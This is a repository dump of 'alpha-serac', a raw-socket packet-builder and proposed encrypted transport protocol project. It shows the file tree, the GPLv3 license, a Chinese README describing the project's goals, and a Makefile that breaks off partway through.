├── .gitattributes ├── .github └── FUNDING.yml ├── .gitignore ├── LICENSE ├── README.md ├── lib └── libexample.so ├── release └── packets_creator ├── serac-c ├── Makefile └── src │ ├── example │ ├── example.c │ └── makefile │ └── packet │ ├── arp.c │ ├── arp.h │ ├── checksum.c │ ├── checksum.h │ ├── icmp.c │ ├── icmp.h │ ├── macros.h │ ├── main.c │ ├── payload.c │ ├── payload.h │ ├── tcp.c │ ├── tcp.h │ ├── udp.c │ └── udp.h ├── serac-core ├── pom.xml └── src │ └── main │ └── java │ └── com │ └── geektcp │ └── alpha │ └── serac │ └── core │ └── TcpBuilder.java └── serac-lib ├── pom.xml └── src ├── main └── java │ └── com │ └── geektcp │ └── alpha │ └── serac │ └── lib │ └── JnaBuilder.java └── test └── java └── com └── geektcp └── alpha └── sera └── lib └── JnaBuilderTest.java /.gitattributes: -------------------------------------------------------------------------------- 1 | *.cpp linguist-language=java 2 | *.c linguist-language=java 3 | *.h linguist-language=java 4 | -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] 4 | patreon: # Replace with a single Patreon username 5 | open_collective: # Replace with a single Open Collective username 6 | ko_fi: # Replace with a single Ko-fi username 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 9 | liberapay: # Replace with a single Liberapay username 10 | issuehunt: # Replace with a single IssueHunt username 11 | otechie: # Replace with a single Otechie username 12 | custom: https://github.com/geektcp/elf-wow/blob/master/alipay_zhifubao.png 13 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | !.mvn/wrapper/maven-wrapper.jar 3 | 4 | ### STS ### 5 | .apt_generated 6 | .classpath 7 | .factorypath 8 | .project 9 | .settings 10 | .springBeans 11 | .sts4-cache 12 | 13 | ### IntelliJ IDEA ### 14 | .idea 15 | *.iws 16 | *.iml 17 | *.ipr 18 | 19 | ### NetBeans ### 20 | /nbproject/private/ 21 | /build/ 22 | /nbbuild/ 23 | /dist/ 24 | /nbdist/ 25 | /.nb-gradle/ 26 | 27 | ### maven version backup 28 | *.versionsBackup 29 | 30 | ### log4j2 31 | logs 32 | 33 | ### pom 34 | dependency-reduced-pom.xml -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # alpha-serac 2 | > serac系统要做什么？
3 | 创造一套传输层协议SCP(Serac-Controll-Protocol)，天生具有数据加密特性！融合TCP传输控制机制，UDP高效传输性。
4 | 创造一套java语言的底层网络封装工具，支持原始套接字，支持SCP协议 5 | 6 | 7 | ## 概述 8 | > 传输层协议TCP，UDP已经存在多年，这套协议已经很老了，存在很多安全隐患。 9 | > SCP协议， 新研发传输层控制协议。天生具有数据加密属性，高效传输性，无状态性。 10 | > SRPC协议， 基于SCP传输层协议的应用层RPC协议，远程过程调用 11 | 12 | ``` 13 | 底层传输库，重建一套socket套接字(Linux C) 14 | 底层套接字封装工具包java库SSocket(Java, 基于JNA，SCP套接字编程库) 15 | 上层套接字封装库工具包serac(就像netty封装Socket一样, serac封装SSocket) 16 | ``` 17 | 18 | 19 | ## 前期功能 20 | ``` 21 | 1、基于原始套接字构造各种常见的和不常见的数据包，包括TCP, UDP, HTTP, DNS, ARP等数据包。 22 | 2、支持任意报头字段设置。 23 | 3、支持负载内容自定义。 24 | 25 | 一个可以高度复用的数据包生成器。 26 | 1、Linux C语言的项目工程的编码构建方式 27 | 2、构造任意结构的数据包。 28 | 3、学习互联网底层深处的细节。 29 | 4、认识网络安全或者黑客攻击手段的原理。 30 | 5、观察到互联网络通信的本质。 31 | ``` 32 | 33 | ## 中期功能 34 | ``` 35 | 用户无缝切换netty到serac 36 | ``` 37 | 38 | ## 未来计划 39 | ``` 40 | 未来这个协议将变成比TCP更先进更智能的协议。 41 | ``` 42 | -------------------------------------------------------------------------------- /lib/libexample.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/geektcp/serac/392ab6c22337cce77bb18f88a6623988b7255001/lib/libexample.so -------------------------------------------------------------------------------- /release/packets_creator: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/geektcp/serac/392ab6c22337cce77bb18f88a6623988b7255001/release/packets_creator -------------------------------------------------------------------------------- /serac-c/Makefile: -------------------------------------------------------------------------------- 1 | all: packets_creator 2 | 3 | packets_creator: 4 | gcc -g src/packet/*.c -o ./release/packets_creator 5 | 6 | 7 | clean: 8 | rm -rf 